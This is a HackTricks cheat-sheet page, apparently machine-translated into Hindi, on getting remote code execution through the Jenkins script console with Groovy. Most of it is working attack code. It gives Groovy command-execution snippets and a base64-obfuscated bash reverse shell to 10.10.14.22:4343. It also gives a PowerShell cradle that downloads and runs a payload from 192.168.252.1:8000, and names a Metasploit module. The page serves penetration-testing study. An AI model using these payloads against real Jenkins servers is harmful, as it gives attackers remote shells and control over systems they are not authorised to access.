Jenkins RCE with Groovy Script

Support HackTricks

Jenkins RCE with Groovy Script

यह जेनकिंस में एक नया प्रोजेक्ट बनाने की तुलना में कम शोर करता है

  1. path_jenkins/script पर जाएं

  2. टेक्स्ट बॉक्स के अंदर स्क्रिप्ट डालें

def process = "PowerShell.exe <WHATEVER>".execute()
println "Found text ${process.text}"

आप एक कमांड का निष्पादन कर सकते हैं: cmd.exe /c dir

लिनक्स में आप कर सकते हैं: "ls /".execute().text

यदि आपको टेक्स्ट के अंदर उद्धरण और एकल उद्धरण का उपयोग करने की आवश्यकता है। आप """PAYLOAD""" (ट्रिपल डबल उद्धरण) का उपयोग करके पेलोड का निष्पादन कर सकते हैं।

एक और उपयोगी ग्रोवी स्क्रिप्ट है (स्थानापन्न [INSERT COMMAND]):

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

लिनक्स में रिवर्स शेल

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

Windows में रिवर्स शेल

आप एक PS रिवर्स शेल के साथ HTTP सर्वर तैयार कर सकते हैं और इसे डाउनलोड और निष्पादित करने के लिए Jeking का उपयोग कर सकते हैं:

scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc <BASE64>

Script

आप इस प्रक्रिया को इस स्क्रिप्ट के साथ स्वचालित कर सकते हैं।

आप रिवर्स शेल प्राप्त करने के लिए MSF का उपयोग कर सकते हैं:

msf> use exploit/multi/http/jenkins_script_console
HackTricks का समर्थन करें

Last updated